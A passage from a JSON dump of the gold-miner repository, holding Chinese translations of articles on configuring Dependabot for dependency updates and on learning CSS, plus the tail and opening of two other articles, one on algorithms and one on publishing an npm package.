是另一个对于学习数据结构和算法非常有价值的资源。我喜欢它提供各种语言的代码片段，通常是 C++、Java 以及 Python，你可以将其复制然后粘贴到集成开发环境中以逐行执行。\n\n最后，还有值得信赖的老谷歌，它会让你在大多数时间里都能看到 GeeksForGeeks 和提供可视化解题的 Youtube。\n\n## 结论\n\n然而，归根到底，这条路没有捷径可走。你只需要一头扎进去，开始写代码、调试代码并且阅读其他人的正确代码，找出你错在哪、怎么错、为什么会错。这很艰难，但每次尝试都会变得更好，随着你变得更好，它也将会变容易。\n\n我远没有达到我想要的水平，但我知道，当我启程时便注定路远迢迢。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-keep-your-dependencies-secure-and-up-to-date.md",
    "content": "> * 原文地址：[How to Keep Your Dependencies Secure and Up to Date](https://medium.com/better-programming/how-to-keep-your-dependencies-secure-and-up-to-date-92578c7f3c9c)\n> * 原文作者：[Patrick Kalkman](https://medium.com/@pkalkman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-keep-your-dependencies-secure-and-up-to-date.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-keep-your-dependencies-secure-and-up-to-date.md)\n> * 译者：[chaingangway](https://github.com/chaingangway)\n> * 校对者：[QinRoc](https://github.com/QinRoc)\n\n# 怎样让依赖库保持安全和最新\n\n![Photo by [Lenin Estrada](https://unsplash.com/@lenin33?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/robot?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)](https://cdn-images-1.medium.com/max/4320/1*dJ1mhPOPA1MVEnUfpaCGjA.jpeg)\n\n> 用 Dependabot 自动更新你的依赖\n\n几周前，为了撰写关于[开闭原则](https://medium.com/better-programming/do-you-use-the-most-crucial-principle-of-object-oriented-design-9045dbd1321e)的文章，我在 GitHub 上搜索相关案例作为素材。在浏览 [.NET Core repository](https://github.com/dotnet/core) 的时候，我发现一个没见过的目录。\n\n这个 `.dependabot` 目录下，只包含一个文件 `config.yml`。它是 GitHub 上一个叫做 Dependabot 的新服务的配置文件。\n\n我之前不知道有这个服务。\n\n稍加调研之后，我发现 Dependabot 是一个扫描仓库中依赖的服务。扫描之后，Dependabot 会验证你的外部依赖是否是最新的。\n\n这个服务的真正实用之处在于：\n\n**Dependabot 会自动创建 PR 用来更新依赖。**\n\n我开始在我大多数的仓库中使用 Dependabot。在这篇文章中，我会告诉你怎样使用和配置 Dependabot。\n\n## 使用 Dependabot\n\n如果你在 GitHub 上有公有仓库，你可能见过下图所示的安全警告。GitHub 会自动扫描所有的公有仓库，如果检测到了安全漏洞，它会发出警告。\n\n![A security alert from Github.com](https://cdn-images-1.medium.com/max/3928/1*0JG50XF4d8nYeLImgp3eoQ.png)\n\n如果想要 GitHub 扫描你的私有仓库，你必须手动打开安全通知选项。GitHub 检测漏洞依赖的数据来自于 [GitHub Advisory Database](https://github.com/advisories) 和 [WhiteSource](https://www.whitesourcesoftware.com/whitesource-for-developers/)。\n\nGitHub 发出的警告中还会包含修复方法。\n\nDependabot 在这个过程中会想得更远，它会自动为你的仓库创建 PR，这个 PR 可以解决你的安全漏洞。\n\n#### 从 Dependabot 开始\n\n要想使用 Dependabot，首先，你需要 [注册](https://app.dependabot.com/auth/sign-up)。GitHub 已经收购了 Dependabot，所以可以免费使用。\n\n注册之后，你必须授予 Dependabot 访问仓库的权限。你可以在 Dependabot 的界面上操作，或者在你的仓库中添加 `config.yml` 文件。\n\n![Give Dependabot access to your repositories](https://cdn-images-1.medium.com/max/3364/1*d3x8R3Zqgrj2LlvJYuzZXQ.png)\n\n#### 配置 Dependabot\n\n你可以在仓库根目录下的 `.dependabot` 目录里保存 `config.yml` 文件，用来配置 Dependabot。\n\n#### 必选项\n\n下面的配置文件来自于我的仓库之一。它只包含了必选项。\n\n\n```YAML\nversion: 1\nupdate_configs:\n  - package_manager: \"javascript\"\n    directory: \"/WorkflowEngine\"\n    update_schedule: \"live\"\n  - package_manager: \"javascript\"\n    directory: \"/WorkflowEncoder\"\n    update_schedule: \"live\"\n```\n这个配置文件仅仅使用了必要的 Dependabot 选项。因为在这个仓库里有很多项目，所以我指定了两个更新配置。\n\n* `package_manager` 指定了你所使用的包管理器。Dependabot 支持很多不同的包管理器，比如 JavaScript，[Bundler](https://bundler.io/), [Composer](https://getcomposer.org/), Python, [Maven](https://maven.apache.org/) 等等。完整的列表，请看 [文档](https://dependabot.com/docs/config-file/)。\n* `directory` 指定了包配置的路径。通常，它是你仓库的根目录。如果你在一个仓库中有多个项目，就像我上面的例子一样，你可以指定一个次级目录。\n* 在 `update_schedule` 中，你可以指定 Dependabot 检测更新的频率。Live 意味着尽快。其他的选项是 daily、weekly 和 monthly。\n\nDependabot **总是** 尽快地创建安全更新。\n\n#### 可选项\n\nDependabot 有一些额外的选项，可以修改一些东西，比如分支，提交记录，PR 的处理者。下面是完整列表：\n\n* `target_branch `— 创建 PR 的目标分支。\n* `default_reviewers `— 设置 PR 的评审员。\n* `default_assignees` — 设置 PR 的处理者。\n* `default_labels` — 设置 PR 的标签。\n* `default_milestone` — 设置 PR 的里程碑。\n* `allowed_updates` — 设置允许哪次更新。\n* `ignored_updates` — 忽略特定的依赖或者依赖的版本。\n* `automerged_updates` — Dependabot 应该自动合并的更新。\n* `version_requirement_updates` — 怎样更新 App 的版本。\n* `commit_message` — 附加在提交信息上的内容。\n\n#### 验证配置文件\n\n在 Dependabot 网站上有一个[页面](https://dependabot.com/docs/config-file/validator/)可以验证你的配置文件。请确保你的配置文件是正确的。\n\n## 总结\n\n我现在已经使用 Dependabot 几个星期了。最开始，我用的是 “live” 更新计划， 由于 “live” 产生了太多的警告，我又改成了 “weekly”。\n\n我现在每周合并一次 Dependabot 提交的 PR。\n\n你必须让你的依赖保持最新。如果你不更新，你使用的版本和最新版本的差异会增加。这种日益增加的差异会让之后更新依赖更加困难。\n\n感谢阅读。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-learn-css.md",
    "content": "> * 原文地址：[How To Learn CSS](https://www.smashingmagazine.com/2019/01/how-to-learn-css/)\n> * 原文作者：[Rachel Andrew](https://www.smashingmagazine.com/author/rachel-andrew)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-learn-css.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-learn-css.md)\n> * 译者：[Mcskiller](https://github.com/Mcskiller)\n> * 校对者：[Reaper622](https://github.com/Reaper622), [Qiuk17](https://github.com/Qiuk17)\n\n# 如何学习 CSS\n\n摘要：你不需要强行记住每一个 CSS 属性和值，有很多地方可以方便你快速去查阅。但是记住一些基础的知识点会让你使用起来更加得心应手。本文旨在引导你如何学习 CSS。\n\n我遇到很多人叫我给他们推荐 CSS 各个知识点的教程，或者问我应该怎么学习 CSS。我也看到很多人对 CSS 的部分内容感到困惑，一部分原因是因为他们对语言的过时认知。鉴于 CSS 在过去的几年间改变了很多，也是时候来更新你掌握的知识了。即便 CSS 只占你所做工作的一小部分（因为你在栈的别处工作），CSS 就像你想他们最终在屏幕上看到的那样，所以值得合理更新。\n\n因此，本文旨在概述 CSS 的要点以及提供一些资源，以进一步学习现代 CSS 开发的主要内容。其中许多都是 Smashing Magazine 上的东西，但我也提供了其他的一些资源，其中包括人们关注的 CSS 要点。这不是一个完整的初学者指南或者绝对涵盖所有知识点的文章。我的目标是以几个重要知识点展示现代 CSS 的广度，这将有助于你学习其他语言。\n\n### 语言基础知识\n\n对于 CSS 的大部分内容，你不需要担心学习属性和值。你可以在需要时查找它们。然而，学习 CSS 需要一些关键的基础知识，如果没有这些基础，你会很难去理解它。所以它真的值得你去花时间理解，从长远来看，它将会为你的学习带来诸多便利。\n\n#### 选择器，不仅仅是 Class\n\n选择器顾名思义，它 **选择** 文档的某些部分，以便你可以将 CSS 应用到上面。虽然大多数人都熟悉使用 Class，或者直接设置诸如 `body` 之类的 HTML 元素，但是这里还有大量更高级的选择器可以根据文档中的位置来选择元素，可能是因为它们在某些元素的后边，也可能是表格中的奇数行。\n\nLevel 3 规范中的选择器（你也许听过它们被称为 Level 3 选择器）具有 [优秀的浏览器兼容性](https://caniuse.com/#feat=css-sel3)。更多有关使用各种选择器的详细信息，请参考 [MDN Reference](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors)。\n\n一些选择器的效果就像你在文档中运用 class 选择器一样。例如，`p:first-child` 就像你在第一个 `p` 元素中添加了一个 class 一样，这些被称为 **伪类** 选择器。**伪元素** 选择器就好像一个元素是动态插入的，例如 `::first-line` 的作用方式就类似于在第一行文本周围包裹 `span`。但是，如果这一行的长度发生了变化，它将会重新应用，如果插入该元素则不会出现这种情况。这些选择器可能会非常复杂，在下面的 CodePen 中是一个伪元素用伪类链接的例子。我们使用 `:first-child` 伪类定位第一个 `p` 元素，然后使用 `::first-line` 选择器选择该元素的第一行，就好像在第一行的周围添加了一个 span 让它变粗并改变颜色。\n\n查看由 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上编写的例子 —— [第一行](https://codepen.io/rachelandrew/pen/wRdJdQ)。\n\n#### 继承和层叠\n\n当有许多规则应用于一个元素上时，层叠决定了到底按哪一个规则执行。如果你曾经无法理解一些 CSS 样式为什么没有被应用，那可能是因为你没有理解层叠的概念。层叠与继承密切相关，它定义了哪些属性是应该被子元素继承的。它也和优先级有关：不同的选择器有不同的优先级，当有多个选择器可以应用到同一个元素上时，优先级决定了哪一个能够被成功应用。\n\n**提示**：要是想了解全部内容，推荐去看看 MDN 的 CSS 简介中的 [层叠和继承](https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance)。\n\n如果你正努力将一些 CSS 样式应用到一个元素上，那么使用浏览器的开发者工具是最佳方法，看看下面的例子，其中有一个 `h1` 元素由 `h1` 选择器选择并将标题设置为橙色。我还使用了一个 class 设置 `h1` 颜色为 rebeccapurple。这个 class 优先级更高，所以 `h1` 是紫色的。在开发者工具中，你可以看见元素选择器被划掉，因为它并没有被应用。所以现在一旦你看见浏览器开始应用你的 CSS（但其他东西阻止了它导致没有正常显示），你就可以找到原因了。\n\n查看由 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上编写的例子 —— [优先级](https://codepen.io/rachelandrew/pen/yGbMoL)。\n\n[![The DevTools in Firefox showing rules for the h1 selector crossed out](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2720c905-e734-4d57-9ae8-fb4bab1de633/smashing-css-specificity.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2720c905-e734-4d57-9ae8-fb4bab1de633/smashing-css-specificity.png) \n\n开发者工具可以帮助你查看为什么有些 CSS 样式没有成功应用到元素上（[查看原图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2720c905-e734-4d57-9ae8-fb4bab1de633/smashing-css-specificity.png)）\n\n#### 盒模型\n\nCSS 都是关于盒子的。每个显示在屏幕上的东西都有一个框，盒模型描述了如何计算出框的大小 —— 考虑 margin，padding，和 border。标准的 CSS 盒模型使用给定的元素宽度，然后在该宽度加上 padding 和 border 的宽度 —— 也就是说元素占据的空间比你设定的宽度要大。\n\n最近，我们已经可以选择使用 `border-box` 盒模型，该模型使用元素上给定的宽度作为屏幕上可见元素的宽度。任何 padding 或者 border 上的设置都将从边缘向内进行设置。这让许多布局更加便利。\n\n在下面的 Demo 中有两个盒子。它们的宽度都是 200px，其中 border 是 5px，padding 是 20px。第一个盒子使用的是基础盒模型，所以总体宽度是 250px。第二个盒子使用的是 `border-box` 盒模型，所以实际宽度就是 200px。\n\n查看由 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上编写的例子 —— [盒模型](https://codepen.io/rachelandrew/pen/xmdqjd)。\n\n浏览器的开发者工具能够再一次帮助你了解你正在使用的盒模型。下面的图片中，我使用 Firefox 的开发者工具去检查默认的 `content-box` 盒模型。开发者工具告诉我这是一个正在使用的盒模型然后我能够看见它的大小和我设定的 border 和 padding 是怎样添加到宽度上的。\n\n[![The Box Model Panel in Firefox DevTools](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/52f5291d-fb2e-4418-99a7-002f898053aa/smashing-css-box-model.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/52f5291d-fb2e-4418-99a7-002f898053aa/smashing-css-box-model.png) \n\n开发者工具帮助你了解盒子为何具有特定尺寸，以及你正在使用的盒模型（[查看原图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/52f5291d-fb2e-4418-99a7-002f898053aa/smashing-css-box-model.png)）\n\n**提示**：在 IE6 之前，[Internet Explorer 默认使用 `border-box` 盒模型](https://en.wikipedia.org/wiki/Internet_Explorer_box_model_bug)，padding 和 border 让内容偏离了给定的宽度。所以在那段时间许多浏览器都在使用不同的盒模型！不过现在你不必为了浏览器之间的互通所担心，事情已经有所改善，我们已经不需要因为浏览器的不同而使用不同方法计算宽度。\n\n在 CSS Tricks 上有一篇很好的对于 [盒模型及其大小](https://css-tricks.com/box-sizing/) 的解释，以及在你的站点中 [全局使用 border-box 盒模型](https://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/) 的最佳方法。\n\n#### 常规流\n\n如果你的文档由一些 HTML 标签组成然后你在浏览器中打开它，它应该是有可读性的。标题和段落会从一个新行开始，单词中间由空格隔开组成句子。用于格式化的标签，就像 `em`，不会破坏一句话的流。这些内容都以 [常规流布局](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout) 或者说块状流布局展示。每一部分内容都处于“流”中；每一个元素都会依次排放，不会重叠在一起。\n\n如果你合理运用这种特性的话，你的工作将会变得更加轻松。这也是为什么 [从正确标记的 HTML 文档开始](https://www.brucelawson.co.uk/2018/the-practical-value-of-semantic-html/) 有道理的原因之一，由于常规流和内置样式表被浏览器所遵守，你的内容会从可读的地方开始。\n\n#### 格式化上下文\n\n一旦你有了一个使用常规流布局的文档，你也许会想改变某些内容的外观。那么你可以通过修改元素的格式化上下文来进行改变。举一个简单的例子，如果你想所有段落都连在一起而不是每一段都新建一行，你可以将 `p` 元素设定为 `display: inline` 将其从块更改为行内格式化上下文。\n\n格式化上下文基本上定义了容器外部和内部类型。外部控制元素与页面上其他元素的共同表现，内部控制子元素的外观。打个比方，当你设定 `display: flex` 时，你设定外部为块级格式化上下文，并且子元素为 flex 格式化上下文。\n\n**提示**：最新版本的 Display 规范更改 `display` 来显式的声明内部和外部值。因此，以后你可能会用到 `display: block flex;`（`block` 是外部的，`flex` 是内部的）。\n\n在 MDN 上阅读更多有关 [`display`](https://developer.mozilla.org/en-US/docs/Web/CSS/display) 的内容。\n\n#### 进入或脱离常规流\n\nCSS 中的元素可以被分为，“在流中”或者“脱离流”。流中的元素被赋予了不被其他元素干扰的独立空间。如果你通过调整浮动或者定位让一个元素脱离流，那么它的空间可能会被其他在流中的元素占用。\n\n对于使用绝对定位的元素，这是最明显的。如果你设定一个元素 `position: absolute` 那它就脱离流了，然后你需要去保证脱离流的元素没有和流中的元素重叠，不然你的布局可能会变得难以理解。\n\n查看由 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上编写的例子 —— [脱离流：绝对定位](https://codepen.io/rachelandrew/pen/Ormgzj)。\n\n然而，浮动元素也会脱离流，然后后续的内容将会围绕浮动元素的盒边线布局，你可以通过在后面元素的盒中设置背景颜色来看到它们已经提升位置并且忽略了之前的浮动元素的空间。\n\n查看由 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上编写的例子 —— [脱离流：浮动](https://codepen.io/rachelandrew/pen/BvRZYw)。\n\n你可以在 MDN 上阅读更多关于 [在流中和脱离流的元素](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow) 的内容。要记住的重要一点是，如果你让一个元素脱离流，你需要自己去管理元素是否重叠，因为块级流布局不再适用。\n\n### 布局\n\n十五年来，我们一直在 CSS 中进行布局而没有一个专门设计的布局系统。现在这一切已经发生了改变。我们现在拥有了一个功能完善的布局系统包括 Grid 和 Flexbox，还有多列布局和用于实际目的的旧布局方案。如果你还不理解 CSS 布局，请移步 MDN [学习布局](https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout) 或者在 Smashing Magazine 查阅我的文章 [从零开始的 CSS 布局](https://www.smashingmagazine.com/2018/05/guide-css-layout/)。\n\n**不要以为像 grid 和 flexbox 这样的方法在某种程度上来说是竞争关系**。为了更好的布局，你可能会发现有时候适合使用 flex 组件有时候又适合使用 grid。有时，你也会想要使用多列布局。所有这些都只是你的可选项。如果你感觉一种布局不太合适，通常情况下这是一个好现象，说明你应该去试试其他不同的布局方案。我们习惯于“矫正” CSS 样式来达到想要的效果，而导致我们忘记了本来就有的那些可选项。\n\n布局是我的主要专业领域，我在 Smashing Magazine 和其他地方写了很多文章来帮助掌握新的布局。除了上面我提到的布局文章，我还有一个 Flexbox 系列文章 —— 从 [当你在创建一个 Flexbox 伸缩容器时会发生什么](https://www.smashingmagazine.com/2018/08/flexbox-display-flex-container/) 开始。在 [Grid by Example](https://gridbyexample.com) 上，我有一大堆 CSS Grid 的小例子 —— 以及一个视频教程。\n\n此外 —— 特别是设计师们 —— 请查看 [Jen Simmons](https://twitter.com/jensimmons) 和她的 [Layout Land 系列视频](https://www.youtube.com/channel/UC7TizprGknbDalbHplROtag)。\n\n#### 对齐\n\n我一般把对齐和布局分开，不过我们大多数人都是把对齐作为 Flexbox 的一部分来看的，其实这些属性可以应用到任何一个布局方法上，认真学习以下部分比思考用“Flexbox 对齐”或者或者\"CSS Grid 对齐\"要好得多。我们有一组对齐属性可以在日常中使用；不过由于不同的布局它们的效果可能会有些许不同。\n\n在 MDN 上，你可以深入研究 [盒对齐](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Alignment) 以及它是如何在 Grid（网格布局），Flexbox（弹性布局），Multicol（多行布局）和 Block 布局（块布局）中实现的。在 Smashing Magazine 上，我有一篇专门介绍 Flexbox 对齐的文章：[Flexbox 中有关对齐你需要知道的一切](https://www.smashingmagazine.com/2018/08/flexbox-alignment/)。\n\n#### 尺寸\n\n我在 2018 年中的大部分时间都在谈论内部和外部尺寸规范，以及它与 Grid 和 Flexbox 的关系。在 Web 开发中，我们习惯于使用固定长度或者百分比来设置尺寸，因为这是我们能够做到的使用数值完成的网格类布局。但是，现代布局方式能帮我们完成很多空间操作 —— 只要我们让它们这么做。理解 Flexbox 如何分配空间（或者 Grid 的 `fr` 单位是如何工作）是很有必要的。\n\n在 Smashing Magazine 中，我写了几篇文章，关于 [布局中的尺寸](https://www.smashingmagazine.com/2018/01/understanding-sizing-css-layout/) 以及适用于 Flexbox 的 [那个弹性盒子有多大？](https://www.smashingmagazine.com/2018/09/flexbox-sizing-flexible-box/)\n\n### 响应式设计\n\n我们的新布局方法 Grid 和 Flexbox 与我们老的布局方法相比，会使用更少的媒体查询，因为它们是灵活的，不需要我们去修改元素的宽度，它们会根据视图或者组件大小进行自适应。但是你可能会希望在某些地方添加断点来增强你的设计。\n\n这里是一些简单的 [响应式设计](https://responsivedesign.is/) 指南，查看我的文章 [在 2018 年使用媒体查询来进行响应式设计](https://www.smashingmagazine.com/2018/02/media-queries-responsive-design-2018/)。我介绍了一下媒体查询的许多用法，以及一些未来在 Level 4 中会出现的新媒体查询功能。\n\n### 字体和排版\n\n和布局一样，网络上关于字体的使用在去年也发生了巨大的变化。可变的字体在这里让单个字体文件可以产生无数种变体。想了解它们是什么以及它们的工作方式，请查看 [Mandy Michael](https://twitter.com/mandy_kerr) 的精彩讲解：[可变字体和 web 设计的未来](https://www.youtube.com/watch?v=luAqYCd_TC8)。另外，我还推荐去看看 [Jason Pamental](https://twitter.com/jpamental) 的 [动态排版与现代 CSS 和可变字体](https://noti.st/jpamental/WNNxqQ/dynamic-typography-with-modern-css-variable-fonts)。\n\n想要探索可变字体和它们的功能，可以去看看 [来自微软的一个有趣的演示](https://developer.microsoft.com/en-us/microsoft-edge/testdrive/demos/variable-fonts/) 提供了许多案例来尝试可变字体 —— [Axis Praxis](https://www.axis-praxis.org/) 就是一个知名的例子（我还喜欢 [Font Playground](https://play.typedetail.com/)）。\n\n当你开始使用可变字体时，这篇 [MDN 上的指南](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Fonts/Variable_Fonts_Guide) 可以给你一些帮助。以及阅读 Oliver Schöndorfer 的 [使用备选 Web 字体实现可变字体](https://www.zeichenschatz.net/typografie/implementing-a-variable-font-with-fallback-web-fonts.html) 学习如何给不支持可变字体的浏览器返回解决方案。[Firefox 开发者工具字体编辑器](https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_fonts) 也支持可变字体。\n\n### 变形和动画\n\nCSS 变形和动画绝对是我们所需要知道的基础内容。我不经常使用它们，语法已经消失在了我的脑海中。不过谢天谢地，MDN 上的资料帮助了我，我也建议直接从 MDN 上的指南 [使用 CSS 变形](https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms) 和 [使用 CSS 动画](https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Animations/Using_CSS_animations) 开始。[Zell Liew](https://twitter.com/zellwk) 也有一篇优秀的文章 [解释 CSS 过渡](https://zellwk.com/blog/css-transitions/)。\n\n想发掘一些有趣的内容，请访问 [Animista](http://animista.net/)。\n\n关于动画可能最令人困扰的就是应该怎么去实现。除了 CSS 的部分，你可能还需要涉及到 JavaScript，SVG，或者 Web Animation API，这些事情可能往往会被混为一谈，在 An Event Apart 录制的 [选择你的动画冒险](https://aneventapart.com/news/post/choose-your-animation-adventure-by-val-head-aea-video) 中 [Val Head](https://twitter.com/vlh) 解释了这些。\n\n### 使用小抄作提示，而不是学习工具\n\n当我提到 Grid 或者 Flexbox 资源时，我经常看到有回复说它们 **不能** 在没有特定小抄的情况下使用 Flexbox。我不反对使用小抄来帮助记忆语法，我也分享了我自己的一些小抄。主要问题是，在你照着小抄复制代码时你很可能会忘记思考它是如何做到的。然后，当你遇到一个属性实现出了意想不到的效果时，你会感到莫名其妙甚至觉得可能是这个语言的问题。\n\n如果你发现自己的 CSS 在做一些奇怪的事情时，大胆的问 **为什么**。创建一个简单的测试用例来突出显示问题，问问更加熟悉规范的人。我被问到的许多 CSS 的问题都是因为使用者坚信代码正在以不同的方式在运行。这也是我为什么要谈论对齐和尺寸，许多问题就出在这些地方。\n\n没错，CSS 中确实有一些奇怪的问题。这是一个多年来都在不断发展的语言，有些事情我们不能改变 —— [除非我们有时光机](https://wiki.csswg.org/ideas/mistakes)。但是，一旦你掌握了这些基础知识，然后理解了其中的原理，你就能更轻松的处理这些问题。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-make-a-beautiful-tiny-npm-package-and-publish-it.md",
    "content": "> * 原文地址：[How to make a beautiful, tiny npm package and publish it](https://medium.freecodecamp.org/how-to-make-a-beautiful-tiny-npm-package-and-publish-it-2881d4307f78)\n> * 原文作者：[Jonathan Wood](https://medium.freecodecamp.org/@Bamblehorse?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-make-a-beautiful-tiny-npm-package-and-publish-it.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-make-a-beautiful-tiny-npm-package-and-publish-it.md)\n> * 译者：[snowyYU](https://github.com/snowyYU)\n> * 校对者：[ElizurHz](https://github.com/ElizurHz), [Park-ma](https://github.com/Park-ma)\n\n# 创建并发布一个小而美的 npm 包\n\n你肯定想不到这有多简单！\n\n![](https://cdn-images-1.medium.com/max/800/0*7m8mTkj_Fp916sdm)\n\nPhoto by [Chen Hu](https://unsplash.com/@huchenme?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)\n\n如果你已经写过很多 npm 模块，你就可以跳过这部分。如果没有的话，我们先看下简介。\n\n#### TL;DR\n\n一个 npm 模块 **只** 需要包含一个带有 **name** 和 **version** 属性的 package.json 文件。\n\n### Hey！\n\n看看你。\n\n就像一只懵懂无知的小象。\n\n你不是制作 npm 包的专家，但你很想学习它。\n\n所有的大象跺跺脚就能制作一个又一个的包，然后你会想：\n\n> “我没法与它们竞争啊。”\n\n好吧，其实你是可以的！\n\n不要再怀疑自己啦。\n\n开始吧！\n\n#### 你不是大象\n\n这是个 [比喻](https://www.merriam-webster.com/dictionary/metaphorical)。\n\n想过幼年大象被叫做什么吗？\n\n**你当然想过**。一个幼年大象被叫做 [小牛](https://www.reference.com/pets-animals/baby-elephant-called-a3893188e0a63095)。\n\n#### 我相信你\n\n[怀疑自己](https://en.wikipedia.org/wiki/Impostor_syndrome) 是存在的。\n\n这导致了很多人做不出很酷的东西。\n\n你觉得你做不出来，所以你啥都不做。 但是，你又会转头崇拜那些有着很高成就的牛人。\n\n太讽刺啦。\n\n所以我将要展示给你一个可能是最小的 npm 模块。\n\n很快就会有 npm 模块从你的指尖飞出来。随处可见的高复用代码。没有耍什么把戏 —— 也没有复杂的指令。\n\n### 复杂的指令\n\n我保证过不会有...\n\n...不过我确实做了。\n\n没这么糟糕啦。总有一天你会原谅我的。\n\n#### 步骤 1：npm 账户\n\n你需要一个账号。这是流程的一部分。\n\n[在这注册](https://www.npmjs.com/signup)。\n\n#### 步骤 2：登录\n\n有没注册一个 npm 账户呀？\n\n是啊，你已经创建啦。\n\n真棒。\n\n我同时建议你使用 [命令行 / 控制台](https://www.davidbaumgold.com/tutorials/command-line/) 等等。从现在起我统一叫它们终端。这里可以看下它们的区别 [很明显](https://superuser.com/questions/144666/what-is-the-difference-between-shell-console-and-terminal)。\n\n打开终端然后输入：\n\n```\nnpm adduser\n```\n\n你也可以使用下面的命令：\n\n```\nnpm login\n```\n\n这两个选一个跟着你混到死吧。\n\n你会得到一个让你输入**username**、**password** 和 **email**的提示。把它们填在相应的位置吧！\n\n你会得到类似下面的提示：\n\n> Logged in as bamblehorse to scope 